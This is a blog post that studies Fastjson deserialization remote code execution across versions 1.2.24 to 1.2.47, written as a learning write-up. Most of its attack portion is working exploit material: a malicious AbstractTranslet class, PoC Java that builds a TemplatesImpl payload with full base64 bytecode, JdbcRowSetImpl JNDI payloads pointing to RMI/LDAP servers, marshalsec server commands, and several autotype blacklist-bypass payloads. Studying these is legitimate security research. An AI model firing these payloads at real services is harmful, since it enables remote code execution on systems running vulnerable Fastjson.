FastJSON反序列化学习

反序列化漏洞例子

0x00、fastJSON练习

参考上面的链接,写一个类,并用fastJSON序列化。查阅API,fastJSON的序列化函数有:

public abstract class JSON {
    // 将Java对象序列化为JSON字符串,支持各种各种Java基本类型和JavaBean
    public static String toJSONString(Object object, SerializerFeature... features);

    // 将Java对象序列化为JSON字符串,返回JSON字符串的utf-8 bytes
    public static byte[] toJSONBytes(Object object, SerializerFeature... features);

    // 将Java对象序列化为JSON字符串,写入到Writer中
    public static void writeJSONString(Writer writer, 
                                       Object object, 
                                       SerializerFeature... features);

    // 将Java对象序列化为JSON字符串,按UTF-8编码写入到OutputStream中
    public static final int writeJSONString(OutputStream os, // 
                                            Object object, // 
                                            SerializerFeature... features);
}

关键就在SerializerFeature...
SerializerFeature.WriteClassName是JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法,而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题。

反序列化的方法主要是

package com.alibaba.fastjson;

public abstract class JSON {
    public static <T> T parseObject(InputStream is, //
                                    Type type, //
                                    Feature... features) throws IOException;

    public static <T> T parseObject(InputStream is, //
                                    Charset charset, //
                                    Type type, //
                                    Feature... features) throws IOException;
}

和JSON.parse,最主要的区别就是parseObject未指定目标类的前提下返回的是 JSONObject ,而JSON.parse返回的是实际类型的对象。

parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。

所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),因此在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

Feature.SupportNonPublicField的使用

fastJSON默认情况下是不会反序列化私有属性的,如果需要对私有属性进行反序列化,则需要在parseObject()函数添加一个属性Feature.SupportNonPublicField。
Fastjson会对满足下列要求的setter/getter方法进行调用,

注意: 不是对存在成员变量的set/get方法的调用,而是直接通过以下方法的特点判断,只要函数名,参数,返回值等满足下面的条件,parseObject()和parse()就会自动调用这些方法

满足条件的setter:

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

0x01 漏洞原理

fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。

我们知道fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。有两种情况我们有可乘之机:

  1. 程序员自己实现的类中就包含了这种危险操作,那就可以直接利用了;
  2. 反序列化指定的类型太大,包含了很多子类,并且在不在反序列化的黑名单内,极端情况,如Object或JSONObject,像Object o = JSON.parseObject(poc,Object.class)就可以反序列化出来任意类,这种情况下,带有危险操作的类就相当可观了。

0x02 历史漏洞分析

一、影响版本1.2.22-1.2.24

分析

写一个恶意类,打开计算器,打开计算器类为什么这样写,后面解释

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilPayload extends AbstractTranslet {
    public EvilPayload() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        EvilPayload t = new EvilPayload();
    }
}

创建一个类,作为漏洞入口,关键在于JSON.parseObject参数可控,这里直接写在代码里
poc核心代码:

public static void main(String[] args) {
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl Temp = new TemplatesImpl();
        ParserConfig config = new ParserConfig();
        // 这里取的是恶意类生成的class文件
        // 另外有一个函数读取字节码并base64编码
        final String evilClassPath = System.getProperty("user.dir") + System.getProperty("file.separator") + "fastJSON/target/classes/fastjson/EvilPayload.class";;
        // evilCode是base64的恶意类的字节码
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);
    }

这段拼接分析一下,前面已经知道type是指定类名,后面一个字段是指定成员变量的值,所以这个poc翻译一下就是反序列化成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类,_bytecodes这个成员变量的值是恶意类的字节码经过base64编码之后的字符串,还有另外几个参数对应的值。目前知道这么多即可。

其中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl为是那个带有危险操作的类,经过base64编码的payload会经过私有属性_bytecodes传递给_outputProperties函数,从而导致命令执行。另外,在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置

生成的poc为:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMZmFzdGpzb24vRXZpbFBheWxvYWQ7AQAKRXhjZXB0aW9ucwcAKwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAKU291cmNlRmlsZQEAEEV2aWxQYXlsb2FkLmphdmEMAAgACQcALQwALgAvAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAMAAxAQAUZmFzdGpzb24vRXZpbFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADQANAA4ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAaAAgAGwAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

调试

同时学习了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

下面调试:

一步一步调试比较复杂,可以参考最上面的链接。简单方法,这个利用链是用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个是jdk自带的类,直接打开源码,在这个类中下断点,可以从调用栈中看到是从setValue:85, FieldDeserializer 通过反射调用了getOutputProperties()函数,从而进入TemplatesImpl

关键部分是defineTransletClasses()函数
博主测试没有给出JDK版本,在他的版本中

我的版本是JDK是8u20,并没有这个参数:

但是为了兼容性,payload中肯定要带_tfactory参数并初始化为{}
另外还校验了父类是不是AbstractTranslet类,所以payload类要继承AbstractTranslet。

也就是说,凡是用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个利用链的,需要尽量给_tfactory赋值,而且恶意类要继承AbstractTranslet,如果是fastjson漏洞,必须满足带有Feature.SupportNonPublicField这个才能执行
defineTransletClasses()执行完后回到getTransletInstance(),会调用newInstence()方法,实例化对象,就调用到了构造函数,执行了恶意代码。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 利用链原理分析结束。

简而言之,TemplatesImpl先把要加载的class的字节码赋值给_bytecodes成员变量,然后调用getOutputProperties()即可执行

JDNI利用链

从前一节已经知道了漏洞触发点,前提条件是:

  1. 接口接收一个JSON序列化后的数据(或者说反序列化数据可控),且在反序列化的时候有Feature.SupportNonPublicField这个参数。
  2. fastjson版本在利用范围内。
    某些情况下上面的利用链不能用,就考虑使用JDNI利用链

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。
最常用利用链com.sun.rowset.JdbcRowSetImpl,需要设置autoCommit为true,赋值的这两个都是存在set/get函数,但不是私有属性,所以不需要eature.SupportNonPublicField
payload

 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvilClass", "autoCommit":true}
  {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1099/EvilClass", "autoCommit":true}
```
需要一个RMI/LDAP的注册表服务器和一个http服务器获取文件
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099
python3 -m http.server 6666
```

二、不同版本的绕过

把pom.xml中的fastjson版本切换为1.2.41,调试发现增加了一个checkAutoType函数校验类名,代码如下:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= 128) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int mask;
            String accept;
            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                mask = Feature.SupportAutoType.mask;
                boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                if (!autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

增加了黑白名单,低版本白名单需要自己设置 默认为空,黑名单在1.2.41如下:

该函数还引入了一个参数autoTypeSupport,默认为false:

  • 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
  • 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错

将autoTypeSupport设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
  • 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

绕过 适用于1.2.25-1.2.41

为了绕过,来看1.2.25-1.2.41的绕过
payload 只适用于autoTypeSupport为true

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

多了一个L,当autoTypeSupport为true时,白名单和黑名单都不匹配,可以成功利用,但在autoTypeSupport为false时,都不匹配会报错。autoTypeSupport默认为false

绕过 适用于1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

绕过 适用于1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

绕过 适用于1.2.25-1.2.45,需要存在mybatis的jar包

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:6099/EvilClass"}}

三、影响版本1.2.25-1.2.47

利用链基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
实际上是另一种绕过上面黑白名单的思路,用一个map数组,传入两组序列化数据,第一组在白名单中,然后把第二组添加到缓存,让第二组也能绕过黑白名单,payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:6099/EvilClass",
        "autoCommit":true
    }
}

注意,这个payload根据AutoTypeSupport模式的不同,能影响的版本也不同
在1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
在1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用;

posted @ 2021-05-20 13:28  ChanGeZ  阅读(1453)  评论(0编辑  收藏  举报